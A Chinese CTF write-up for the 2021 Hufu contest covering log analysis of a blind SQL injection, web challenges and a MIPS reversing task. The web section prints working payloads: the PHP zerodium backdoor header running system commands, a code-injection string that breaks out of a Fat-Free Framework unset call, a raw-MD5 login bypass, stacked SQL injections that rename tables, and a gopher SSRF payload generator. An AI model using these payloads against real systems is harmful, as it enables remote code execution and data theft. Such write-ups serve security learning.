『CTF』虎符网络安全赛道-2021 WP – 作者:宸极实验室Sec

日期:2021年03月02日

作者:宸极实验室

介绍:虎符杯的 WP,成功进入线下。

小编提示:关注 『宸极实验室』,回复 『虎符-2021』,即可获取全部题目附件。

MISC

0x01 你会日志分析吗

打开日志看到SQL语句中包含sleep(2),意识到是时间盲注,立马开始写辅助脚本简单处理,思路如下:

先使用正则表达式匹配出时间相关字符串,进行时间差计算,获取下标,然后从原始数据中提取同下标数据,最后提取ascii码进行转化

辅助脚本如下:

from datetime import datetime 

with open('time.txt','r') as f:
	data = f.readlines()
	timel = []
	for i in data:
		t = datetime.strptime(i.strip(),"%d/%m/%Y:%H:%M:%S")
		timel.append(t)
indexl = []
for j in range(1,len(timel)):
	tt = timel[j]-timel[j-1]
	if tt.seconds >= 2:
		indexl.append(j-1)
		continue
dl = []
with open("../Downloads/access.log",'r') as ff:
	dd = ff.readlines()
	for i in indexl:
		dl.append(dd[i].strip())


for i in dl:
	print i

提取出来的数据如下:
-w1253

提取出的数据中,红框处为关键数据,使用正则提取后进行转化得到flag
-w1306

flag{You_are_so_great}

WEB

0x01 签到

一开始毫无头绪,后来放出提示是zerodiums后门,直接添加http头:User-Agentt: zerodiumsystem("cat /flag");,即可获取flag

-w1327

flag{d4fd8736-4a6b-498a-9c5a-30538a4fd6ca}

0x02 unsetme

题目代码如下:

<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run();

明显是Fat free framework框架 ,跟ciscn2020的一个题目类似,但不同的是,这次不是反序列化。

虽然但是,先去Github下载个源码,本地起一个测试环境。

web_1

很明显可以看到

__unset  -> offsetunset  -> clear

直接定位到clear 530

web_1

简单的加几行调试代码

echo $val;
echo '<br>';
echo 'unset('.$val.');';

web_1

简单的测试一下:

web_1

通过以下不断的调试,最终确定了payload

?a=aaa//

?a=aaa]//

?a=aaa[]//

?a=aaa[]);//

web_1

接下来就可以拼接php语句执行命令了。

?a=aaa[]);system('whoami');//

web_1

?a=aaa[]);system('cat /flag');//

web_1

flag{908fc868-86fc-4873-b2ba-82cfdf06f7f3}

0x03 “慢慢做”管理系统

首先,根据提示的sql语句

SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";

就是一个简单hash绕过。

md5(string, raw)   

raw 参数可选,默认为`false`

true:返回16字符2进制格式

false:返回32字符16进制格式

简单来说就是true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如'or '之类的注入语句,就可以进行注入了。

常用的payloadffifdyop,但题目过滤了。

根据文章https://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

找到了另一个

129581926211651571912466741651878684928

帐号随意,即可登录成功。

登录后页面为ssrf

web_1

仅允许gopher协议,由此可想到:redis,mysql,post

探测一下端口,仅发现 存在803306

尝试多次mysqlpayload,均失败。

根据题目描述,发现存在admin.php,访问后发现是post登录框,经过尝试发现,存在注入。

username=admin'or'1'='1&password=1

web_1

很明显,我们需要找到“真实”的admin表。
经过对mysql关键字的fuzz,发现过滤了select,mid等绝大部分关键字。
布尔盲注,报错注入均失败。

但是,由于回显是数组形式,联想到强网杯2019随便注的题目,尝试堆叠注入。

username=admin';show tables;#&password=1

gopher://127.0.0.1:80/_POST%20/admin.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2040%0D%0A%0D%0Ausername%3Dadmin%27%3Bshow%20tables%3B%23%26password%3D1%0D%0A

web_1

发现存在另一个表

username=admin';desc `real_admin_here_do_you_find`;#&password=1

web_1

表里确实是我们需要的帐号密码

接下来可以通过重命名的方式,来获取我们想要的数据。

payload = "username=admin';rename table fake_admin to fake_admin1;rename table `real_admin_here_do_you_find` to fake_admin;#&password=1"

payload = "username=admin'or'1'='1&password=1"

首先更改表名,之后通过万能密码列出当前表数据,即可得到帐号密码。

web_1

由于将表名修改了,所以需要重新下发容器。

之后通过构造登录数据包,发现跳转到了flag.php

tips:这里有个小坑,username并不是admin_inner而是admin,不清楚是为什么。

web_1

通过修改cookie,即可得到flag

web_1

生成payload脚本如下:

import urllib
import requests

#payload = "username=admin';rename table fake_admin to fake_admin1;rename table `real_admin_here_do_you_find` to fake_admin;#&password=1"
#payload = "username=admin'or'1'='1&password=1"
payload = "username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203"
test =\
"""POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

%s
""" % (len(payload),payload)
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = '_'+new
print('gopher://127.0.0.1:80/'+result)
flag{3b8354bc-7b0c-4f12-9651-17d28a112874}

REVERSE

0x01 redemption_code

下载附件,发现是mips架构下的程序。

-w843

刚好前段时间泄露的IDA 7.5 SP3版本可以支持反编译mips架构程序,对其进行反编译。

-w639

是一个使用C++语言编写的程序,分析程序主体,发现其关键函数。

-w756

直接静态分析算法实现逻辑,发现就是实现了一个数据的存储,实现了s[input[i]] = i + 1类型的存储结构。包括最后比较的时候,也是拿固定字符串与s数组进行比较。

所以直接去找传入的固定字符串即可。

-w686

由于输入被限制为14位。所以可以截取出flag

flag{Ninja Must Die}

来源:freebuf.com 2021-04-07 16:09:11 by: 宸极实验室Sec

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论